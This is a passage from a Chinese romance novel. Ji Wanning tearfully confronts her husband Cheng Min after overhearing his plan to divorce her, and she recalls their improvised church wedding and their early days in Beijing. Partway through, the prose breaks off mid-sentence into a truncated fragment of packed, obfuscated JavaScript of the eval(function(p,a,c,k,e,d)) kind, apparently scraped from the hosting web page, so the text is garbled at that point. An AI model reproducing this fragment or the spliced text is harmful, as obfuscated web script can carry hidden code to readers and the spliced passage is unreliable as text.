季宛宁用手背抹了把眼泪,吸了吸鼻子,哽咽着说:“昨天晚上……我听见你和邹文谦说的话了。” 程岷眼皮重重跳了一下。 昨晚到现在已经过了十几个小时了。 她一个从小藏不住事的人,高兴就笑,难过就哭,什么都挂脸上,还很怕疼,是怎么把这些话和伤硬生生憋到现在的? “在院子里摔的?” 他抓住她另一只手,翻来覆去看了一遍,确定没事,紧绷的肩膀才稍微松了松。 季宛宁点头。 程岷给她擦了擦眼泪,想站起来:“走,去车上,我给你处理一下。” 季宛宁不肯动,她把那只受伤的手也抽回来,抬头看着他。 “为什么要离婚?” 程岷没有答话。 “程岷,你什么意思啊?”眼泪又涌出来,她更用力抹了一把,“邹文谦一回来你就要离,你是不是早就想好了?你早就想离了,对不对?” 程岷的头突然一阵剧痛,额角青筋暴突,太阳穴突突地跳,耳边甚至开始出现一些声音,忽远忽近,恶毒的,熟悉的,致命的。 “你怎么不去死?” “拖油瓶,没你我还好过点。” “你毁了你那张脸吧,行么,算我求你了。” “你以后在我面前可以别这么多话吗?我听着很烦!” 他握紧了拳头,指甲掐进肉里,用那点疼逼自己清醒。 他再次握住季宛宁的手,低声安抚道:“现在的重点不是这个,我们先回车上,处理好伤口再说行不行?” 季宛宁嘴巴紧闭,不说话,也不肯动。 她的情绪濒临崩溃,满脑子都是要程岷给她一个理由。 或者告诉她,那句话只是说给邹文谦听的,是假的,他不会和她离婚的。 如果会离婚,当初为什么要和她结婚?明明连求婚都是他主动的。 被求婚的那天是季宛宁永远都不会忘的一天。 当天她准备出院,早上醒来程岷却不见了。她没有手机,也不敢走出病房,对没有任何记忆的她来说,没有程岷在的地方都是陌生的,都是让她害怕的。 她一个人在病房等到天黑。 外面下着大雨,噼里啪啦砸在窗上,也砸在她心上。她不知道程岷去了哪里,不知道他还会不会回来,不知道自己是不是被丢下了。 她抱着膝盖坐在床边地板上,缩成小小一团,听着雨声一直哭。 哭他是不是不要她了,哭自己以后该怎么办。 在天彻底黑下来之前,病房的门终于开了。 有人冲进来,浑身湿透地抱着她,告诉她,他没有不要她,他会一直一直陪在她身边。 听着这道声音,她灰暗了一天的世界终于变得明亮起来。 她抬起头,心里还是很委屈,想骂他,想问他去哪了,可她什么都说不出来。 程岷一身都是伤,脸上、手上全是血道子,额角乌青,嘴唇破了好大一块,比前段时间方岐一说程岷和别人打架的那次伤得更严重。 她愣住了。 他却突然跪下来,笑着让她嫁给他。 她无依无靠,是程岷在医院里一点点把她照顾痊愈。正是那段日子,让她对他的依赖,变得比她自己以为的还要深。当时的程岷就是她的天,一片永远不会塌下来的天。 她愿意。 她当然愿意,这样就代表她能永远和他在一起了。 他们是办了婚礼的。 在离开广州的那一天,程岷不知从哪里抱来了一条白色纱裙,特别漂亮,裙摆很大,转圈时能飞起来,她穿得也很合身,就像本来就是她自己的裙子。 程岷也穿着白衬衣,很干净,但有些旧,袖子还短了一截,扣子绷得也有点紧。 他们先去了她父母的坟前。 墓碑上的照片明显是新的,但当时的季宛宁并没有注意到。她看着那两个陌生的面孔,还是哭得稀里哗啦。她跪下去磕了三个头,程岷在旁边陪着她磕。 然后他们找到一家小教堂,准备去那里办婚礼。 教堂里没人,门虚掩着,彩色玻璃透进来的光斑落在他们身上。 没有朋友,没有亲人,没有见证人,神父不在,十字架在,长椅在,阳光在,还有灰尘在光里飘。 他们站在圣坛前,自己给自己主持婚礼。 她问程岷愿不愿意,程岷问她愿不愿意。 他们都说愿意。 没有捧花,没有头纱,没有《婚礼进行曲》,一场仓促的婚礼,两个二十出头的人,在他们都伤痕累累的一天成为了彼此最珍贵的人。 当天季宛宁就跟着程岷离开了家乡,当时她身上一毛钱都没有,她以为程岷是有钱的,因为他买的是高铁票,一路舒舒服服地来到了北京。 对季宛宁来说,她觉得自己真没吃过什么苦。 来到北京的第一顿饭,吃得是牛肉面。 程岷让老板多加了一份肉,她碗里的牛肉多到快把面条盖住了。她吃得非常满足,但一抬头,就看见程岷碗里只有几片青菜叶子,清汤寡水。 她愣了一下,马上把碗里的肉往他那边拨。 他手一挡,没让她拨进去。 “我不爱吃肉。”他说。 她突然间陷入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到如今,在亲眼看着程岷说出要和她离婚前,季宛宁还在想着再多找一份兼职,帮他多分担一点,以后家里的压力两个人一起扛。 可回头想想,他为什么每次都停在那一步? 或许是结婚那天,他就已经想好哪天要离了,所以不想碰她。 他这么做的理由是什么?既然会离婚,何必要把她从邹文谦那里抢走? 程岷被季宛宁的眼泪弄得没办法,他妥协地问:“你想听我说什么。” “你不想离婚。”季宛宁红着眼睛说。 她不要理由了。 她不管他为什么想离,她现在只要他不离婚。 她没法想象没有程岷的日子。不是说物质,不是说他把她照顾得多好,是她精神上离不开他。 程岷没说话,就那么看着她。 季宛宁努力让自己平稳下来,深呼吸了几次。 “你不是说我们从四岁就认识吗?我人生的绝大部分时间你都在。如果离婚了,我们是不是就得分开了?你想过没有你在的未来我会过成什么样吗?” 程岷转过头,看向远处还在放的烟花。 “你忘了?”他说,“今天上午你才说了要独立。” “我说的独立不是要和你离婚!”她情绪又差点失控。程岷太平静了,衬得她像个疯子。 “你不是想听理由吗?我累了。”程岷没看她,“这三年多来太累了,再撑下去我不知道能不能撑住,不如早点了断。” 季宛宁死死瞪着他冷峻的侧脸。 忽然间,她不想闹了,浑身好像脱了力,安静下来,累得说不出话。